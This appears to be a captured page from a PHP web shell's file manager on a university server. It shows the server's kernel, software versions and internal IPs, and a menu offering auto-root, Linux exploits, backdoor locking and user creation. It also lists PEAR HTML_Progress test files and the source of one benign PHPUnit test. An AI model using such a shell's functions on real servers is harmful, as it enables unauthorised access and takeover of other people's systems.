Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
test /
HTML_Progress /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
ancestor.ini
793
B
-rw-r--r--
HTML_Progress_Bug28.php
1.09
KB
-rw-r--r--
HTML_Progress_TestCase_addListener.php
2.7
KB
-rw-r--r--
HTML_Progress_TestCase_DM_new.php
2
KB
-rw-r--r--
HTML_Progress_TestCase_DM_setIncrement.php
2.56
KB
-rw-r--r--
HTML_Progress_TestCase_DM_setMaximum.php
2.82
KB
-rw-r--r--
HTML_Progress_TestCase_DM_setMinimum.php
2.75
KB
-rw-r--r--
HTML_Progress_TestCase_DM_setValue.php
2.79
KB
-rw-r--r--
HTML_Progress_TestCase_getDM.php
2.28
KB
-rw-r--r--
HTML_Progress_TestCase_getString.php
2.41
KB
-rw-r--r--
HTML_Progress_TestCase_getUI.php
2.28
KB
-rw-r--r--
HTML_Progress_TestCase_removeListener.php
2.84
KB
-rw-r--r--
HTML_Progress_TestCase_setAnimSpeed.php
2.75
KB
-rw-r--r--
HTML_Progress_TestCase_setBorderPainted.php
2.35
KB
-rw-r--r--
HTML_Progress_TestCase_setDM.php
2.03
KB
-rw-r--r--
HTML_Progress_TestCase_setIndeterminate.php
2.35
KB
-rw-r--r--
HTML_Progress_TestCase_setModel.php
2.55
KB
-rw-r--r--
HTML_Progress_TestCase_setStringPainted.php
2.35
KB
-rw-r--r--
HTML_Progress_TestCase_setString.php
2.57
KB
-rw-r--r--
HTML_Progress_TestCase_setUI.php
2.03
KB
-rw-r--r--
HTML_Progress_TestCase_UI_getBorderAttributes.php
2.43
KB
-rw-r--r--
HTML_Progress_TestCase_UI_getCellAttributes.php
2.41
KB
-rw-r--r--
HTML_Progress_TestCase_UI_getProgressAttributes.php
2.45
KB
-rw-r--r--
HTML_Progress_TestCase_UI_getStringAttributes.php
2.43
KB
-rw-r--r--
HTML_Progress_TestCase_UI_new.php
1.71
KB
-rw-r--r--
HTML_Progress_TestCase_UI_setCellAttributes.php
2.89
KB
-rw-r--r--
HTML_Progress_TestCase_UI_setCellCoordinates.php
2.88
KB
-rw-r--r--
HTML_Progress_TestCase_UI_setCellCount.php
3.33
KB
-rw-r--r--
HTML_Progress_TestCase_UI_setFillWay.php
2.56
KB
-rw-r--r--
HTML_Progress_TestCase_UI_setOrientation.php
4.05
KB
-rw-r--r--
HTML_Progress_TestCase_UI_setScript.php
2.54
KB
-rw-r--r--
HTML_TestListener.php
1.91
KB
-rw-r--r--
progress3.js
1.36
KB
-rw-r--r--
stylesheet.css
1.3
KB
-rw-r--r--
testsuite.php
2.98
KB
-rw-r--r--
TestUnit.php
1.64
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : HTML_Progress_TestCase_removeListener.php
<?php /** * API removeListener Unit tests for HTML_Progress class. * * @version $Id: HTML_Progress_TestCase_removeListener.php,v 1.6 2005/08/28 15:05:20 farell Exp $ * @author Laurent Laville <pear@laurent-laville.org> * @package HTML_Progress * @ignore */ class HTML_Progress_TestCase_removeListener extends PHPUnit_TestCase { /** * HTML_Progress instance * * @var object */ var $progress; function HTML_Progress_TestCase_removeListener($name) { $this->PHPUnit_TestCase($name); } function setUp() { error_reporting(E_ALL & ~E_NOTICE); $logger['push_callback'] = array(&$this, '_pushCallback'); // don't die when an exception is thrown $this->progress = new HTML_Progress($logger); } function tearDown() { unset($this->progress); } function _stripWhitespace($str) { return preg_replace('/\\s+/', '', $str); } function _methodExists($name) { if (substr(PHP_VERSION,0,1) < '5') { $n = strtolower($name); } else { $n = $name; } if (in_array($n, get_class_methods($this->progress))) { return true; } $this->assertTrue(false, 'method '. $name . ' not implemented in ' . get_class($this->progress)); return false; } function _pushCallback($err) { // don't die if the error is an exception (as default callback) return HTML_PROGRESS_ERRORSTACK_PUSH; } function _getResult() { if ($this->progress->hasErrors()) { $err = $this->progress->getError(); $this->assertTrue(false, $err['message']); } else { $this->assertTrue(true); } } /** * TestCases for method removeListener. * */ function test_removeListener_fail_no_class() { if (!$this->_methodExists('removeListener')) { return; } $observer = 'log_progress2'; $monitor = $this->progress->removeListener(new $observer); $this->assertTrue($monitor, $observer .' is not a valid listener or is not yet attached '); } function test_removeListener() { if (!$this->_methodExists('removeListener')) { return; } $observer = 'logit2'; $monitor = $this->progress->addListener(new $observer); $monitor = $this->progress->removeListener(new $observer); $this->assertTrue($monitor, $observer .' is not a valid listener or is not yet attached '); } } require_once ('HTML/Progress/observer.php'); /** * @ignore */ class logit2 extends HTML_Progress_Observer { function logit2() { } } /** * @ignore */ class log_progress2 { } ?>
Close